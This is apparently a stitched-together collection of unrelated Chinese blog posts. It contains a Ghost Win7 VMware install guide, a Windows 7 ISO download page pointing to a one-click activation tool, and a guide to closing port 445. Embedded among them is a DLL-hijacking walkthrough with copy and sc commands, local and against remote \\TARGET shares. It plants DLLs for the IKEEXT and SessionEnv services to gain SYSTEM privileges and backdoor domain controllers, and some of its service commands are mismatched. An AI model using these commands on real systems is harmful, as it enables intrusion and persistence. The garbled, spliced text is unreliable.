目录

一、准备虚拟机

二、win7 ghost ISO镜像文件下载

三、VMware新建虚拟机

四、VMware安装win7

五、解决vmware虚拟机屏幕没有适应窗口全屏问题

一、准备虚拟机

自己先安装好 VMware 15 虚拟机

二、win7 ghost ISO镜像文件下载

百度网盘下载地址：点击前往下载 

提取码：1kvc 

三、VMware新建虚拟机

（1）打开VMware，建立一个新的虚拟机：



（2） 选择典型安装：



（3）选择稍后安装操作系统（S）：



（4）因为安装的是Windows7，故选择下面的信息：



（5）根据自己的情况选择磁盘以及文件夹来存放虚拟系统：



（6）设置硬盘大小，一般按照默认设置来，也可以加大一点，看个人的需求，下面的选择第二个，方便我们等会分区，然后点击下一步：



（7）在此界面上，点击自定义硬件：



（8）在左边点击CD/DVD,然后 勾选启动时链接，选择使用ISO映像文件，点击“浏览”，将我们下载好的ios镜像文件添加到这里面来。点击下面的”高级“，选择第三个”IDE“点击确定。然后关闭硬件设置：



（9）回到以下页面，点击完成：



四、VMware安装win7

（1）下面操作为进入BIOS系统设置启动顺序，因为该虚拟磁盘是新建的，虚拟磁盘中不存在系统，所以默认启动也是CD-ROM中的ISO映像文件，故可以忽略本次操作直接打开虚拟机：











（2）退出BIOS后页面（或直接打开虚拟机），然后会进入下面的界面，选择3，进入PQ分区工具设置虚拟磁盘：



（3）选择PQ分区工具之后，进入魔法分区界面：



（4）出现的对话框中，会显示当前的磁盘分区信息，我这个是个空白磁盘，直接点击作业-->建立：



（5）按照下图所示选择后，点击确认：



（6）下图直接点击执行，完成后点击结束：







（7）然后就出现此界面，直接输入'R' 回车：



（8）返回ghost界面，选择A,安装ghost win7 到 c 盘，然后会进入下面Windows安装界面，等待安装完成：





（9）安装完成后，出现下面界面：



（10）关机退出：



（11）再次直接打开win7虚拟机，直接进入ghost界面，此时需要输入“3”，再次进入PQ分区工具进行下面的设置：

1.在磁盘状态设置为作用
2.然后点击执行
3.完成后点击结束
4.在DOS界面输入“R”回车













（12）返回ghost界面，选择A,安装ghost win7 到 c 盘，然后会进入下面Windows安装界面，等待安装完成：





（13）返回ghost界面，选择H,硬盘启动计算机：



（14）安装成功后，以后开机，都是先进入ghost界面，键盘点击【H】,硬盘启动计算机，以此法进入win7：







五、解决vmware虚拟机屏幕没有适应窗口全屏问题

（1）安装完成，发现vmware虚拟机屏幕没有适应窗口全屏：



（2）点击查看我的另一博文：

【VMware】解决虚拟机系统屏幕没有适应vmware窗口全屏问题

 

CATALOG
前言
操作过程
1.利用wlbsctrl.dll提权
2.利用TSMSISrv.dll和TSVIPSrv.dll提权
3.实现后门
查考文章

前言
今天看了一篇文章，发现文章中的利用方法只能在win7上使用，无法在win10上使用，特做记录。

实现效果：


得到后门执行并得到system权限。
操作过程
1.利用wlbsctrl.dll提权
IKEEXT(IKE and AuthIP IPsec Keying Modules)服务在启动时会加载wlbsctrl.dll，但Windows系统默认配置下该dll不存在，如果我们将自己的dll放在这个位置，在服务启动时就能加载该dll.
先下载恶意dll到本地，然后将其挪到C:\Windows\System32\并命名为wlbsctrl.dll：

参考命令如下：
copy calc_x64.dll C:\Windows\System32\wlbsctrl.dll
sc query IKEEXT
sc stop IKEEXT
sc start IKEEXT

远程执行：
copy calc_x64.dll \\TARGET\C$\Windows\System32\wlbsctrl.dll
sc \\TARGET query IKEEXT
sc \\TARGET stop IKEEXT
sc \\TARGET start IKEEXT

2.利用TSMSISrv.dll和TSVIPSrv.dll提权

SessionEnv(Remote Desktop Configuration)服务在启动时会加载C:\Windows\System32\TSMSISrv.dll和C:\Windows\System32\TSVIPSrv.dll，但Windows系统默认配置下这两个dll不存在，如果我们将自己的dll放在这个位置，在服务启动时就能加载该dll,启动SessionEnv服务方法为sc start IKEEXT。

利用命令：
copy calc_x64.dll C:\Windows\System32\TSMSISrv.dll
sc query IKEEXT
sc stop IKEEXT
sc start IKEEXT

或者

copy calc_x64.dll C:\Windows\System32\TSVIPSrv.dll
sc query IKEEXT
sc stop IKEEXT
sc start IKEEXT
远程执行的用法：

copy calc_x64.dll \\TARGET\C$\Windows\System32\TSMSISrv.dll
sc \\TARGET query IKEEXT
sc \\TARGET stop IKEEXT
sc \\TARGET start IKEEXT
或者

copy calc_x64.dll \\TARGET\C$\Windows\System32\TSVIPSrv.dll
sc \\TARGET query IKEEXT
sc \\TARGET stop IKEEXT
sc \\TARGET start IKEEXT

3.实现后门
如果系统开启了远程桌面的功能(支持远程连接到此计算机)，就会开启SessionEnv(Remote Desktop Configuration)服务，如果我们在C:\Windows\System32\下写入TSMSISrv.dll或TSVIPSrv.dll，就能在服务启动时加载该dll，实现代码执行。

应用场景：

获得域控制器文件的远程访问权限，但无法远程执行命令.

1.如果域控制器未开启远程桌面的功能，在系统启动时劫持Explorer.exe对fxsst.dll的加载

写入文件C:\Windows\fxsst.dll
2.如果域控制器开启了远程桌面的功能，在系统启动时将开启SessionEnv服务，加载TSMSISrv.dll或TSVIPSrv.dll

写入文件C:\Windows\System32\TSMSISrv.dll或C:\Windows\System32\TSMSISrv.dll
3.如果域控制器开启了远程桌面的功能，在用户进行远程桌面连接时将会加载MF.dll

实际测试：
测试环境： Server2012R2 x64
写入文件C:\Windows\System32\MF.dll，命令如下:
copy calc_x64.dll C:\Windows\System32\MF.dll

查考文章
《Lateral Movement — SCM and DLL Hijacking Primer》的利用扩展

win7旗舰版 , windows7 , windows7 64位旗舰版 iso , windows7官方原版



Windows 7 是由微软公司（Microsoft）开发的操作系统，核心版本号为Windows NT 6.1。Windows 7可供家庭及 商业工作环境、笔记本电脑、平板电脑、多媒体中心等使用。Windows 7延续了Windows Vista的Aero 风格，并且更胜一筹。2009年7月14日Windows 7 RTM（Build 7600.16385）正式上线，2009年10月22日微软于美国正式.发布Windows 7，2009年10月23日微软于中国正式发布Windows 7。Windows7主流支持服务过期时间.为2015年1月13日，扩展支持服务过期时间为2020年1月14日。Windows 7 同时也发布了服务器版本——Windows Server 2008 R2。2011年2月23日凌晨，.微软面向大众用户正式发布了Windows 7升级补丁——Windows 7 SP1（Build7601.17514.101119-1850），另外还包括Windows Server 2008 R2. SP1升级补丁。



Windows7微软官方简体中文32位旗舰版原版镜像下载

文件名:cn_windows_7_ultimate_x86_dvd_x15-65907.iso

SHA1:B589336602E3B7E134E222ED47FC94938B04354F

文件大小:2.43GB

发布时间:2009-08-23

迅雷高速下载

Windows7 微软官方简体中文64位旗舰版原版镜像下载

 

文件名:cn_windows_7_ultimate_x64_dvd_x15-66043.iso

SHA1:4A98A2F1ED794425674D04A37B70B9763522B0D4

文件大小:3.11GB

发布时间:2009-08-26

迅雷高速下载

 



cn_windows_7_ultimate_with_sp1_x86_dvd_u_677486.iso

SHA1：B92119F5B732ECE1C0850EDA30134536E18CCCE7

文件大小：2.47GB

发布时间：2011-05-12

迅雷高速下载

 

cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso

SHA1：2CE0B2DB34D76ED3F697CE148CB7594432405E23

文件大小：3.19GB

发布时间：2011-05-12

迅雷高速下载

建议直接下载2011年5月的这个最终版本就行了，都是微软发布的原版系统，一个文件都没有修改过。

Windows7 一键激活工具下载地址

百度网盘下载

 

Windows7 原版系统直接安装图解教程

http://www.runker.net/anzhuangxitong.html

 

其他微软windows原版iso镜像系统下载地址

Windows XP 微软官方原版系统下载地址 http://www.runker.net/windows-xp-sp3.html

Windows 8.1 微软官方原版系统下载地址 http://www.runker.net/win8-1.html

Windows 10 微软官方原版系统下载地址 http://www.runker.net/win10.html

 

 

 



最近永恒之蓝病毒攻击了很多教育网的同学，然后我就搜集了如何关闭445端口的方法，下面分享出来一起学习。

先了解一下445端口：

445端口是net File System(CIFS)（公共Internet文件系统），445端口是一个毁誉参半的端口，他和139端口一起

是IPC$入侵的主要通道。有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机，但也正是因为有了它，

黑客们才有了可乘之机，他们能通过该端口偷偷共享你的硬盘，甚至会在悄无声息中将你的硬盘格式化掉！我们所能

做的就是想办法不让黑客有机可乘，封堵住445端口漏洞。

主要有三种方法，第一种通过防火墙比较简单；第二种通过注册表也很简单；第三种稍微复杂一点通过修改ip安全

策略，所以这里没有写出来，前两种就够用了。但第一种我用的时候没有效果，为了方便大家可以直接用第二种方法。

 


方法一：

通过防火墙可以直接关闭的，很简单，在控制面板的“Windows 防火墙”页面左侧找到“高级设置”打开。



 

 

在“高级安全 windows 防火墙”页面 左侧 找到 “入站规则”右键点击“新建规则”。



 

选择“端口”。 点击下一步。



 

 



 

这里要关闭什么端口就输入到“特定本地端口”一次关一个，方法都是一样的。然后点击“下一步”。


TCP/UDP他们各自的端口号是相互独立的，列如 TCP可以有个255端口，UDP也可以有个255端口，他们两者并不冲突


端口135,139,445属于TCP

端口137,138属于UDP

 

 

选择“阻止链接”。点击“下一步”。

 



留下“公用”即可（这里为了安全我也选了专用）。

 

 



名称和描述自己就随便起了,已经完成了

 



 

这么简单的方法用了之后好像不太管用，查看命令行445端口仍然处于listing状态？？？（为什么这样我也不知道）

 

然后又用了第二种网上流行的修改注册表的方法，也很简单。

方法二

1、运行regedit打开注册表

2、依次依次点击注册表选项”HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\NetBT\Parameters“，进入NetBT这个

服务的相关注册表项。



3、在右边空白处右击新建“QWORD（64位）值”，然后重命名为“SMBDeviceEnabled”，再把这个子键的值改为0。



4、之后win7还要在service中设置

依次点击“开始”，“运行”，输入services.msc，进入服务管理控制台。然后，找到server服务，双击进入管理控制页面。把这个

服务的启动类型更改为“禁用”，服务状态更改为“停止”，最后点击应用即可。



现在就已经关闭了445端口。

重启后，我们来检查445是否已经关闭

cmd命令行中输入“netstat -an”查看端口状态，但如果直接输入会无法识别netstat命令。所以要“cd c:/windows/system32/”切换，然后再执行

上述命令，发现445端口已经不存在了，就是已经关闭了。



 

之后，出于好奇我又详细了解了一下445端口的作用及其入侵的原理

下面附一个445端口入侵详解

最后再附一个关闭135,139的链接：https://jingyan.baidu.com/article/0aa22375bf88b288cc0d6490.html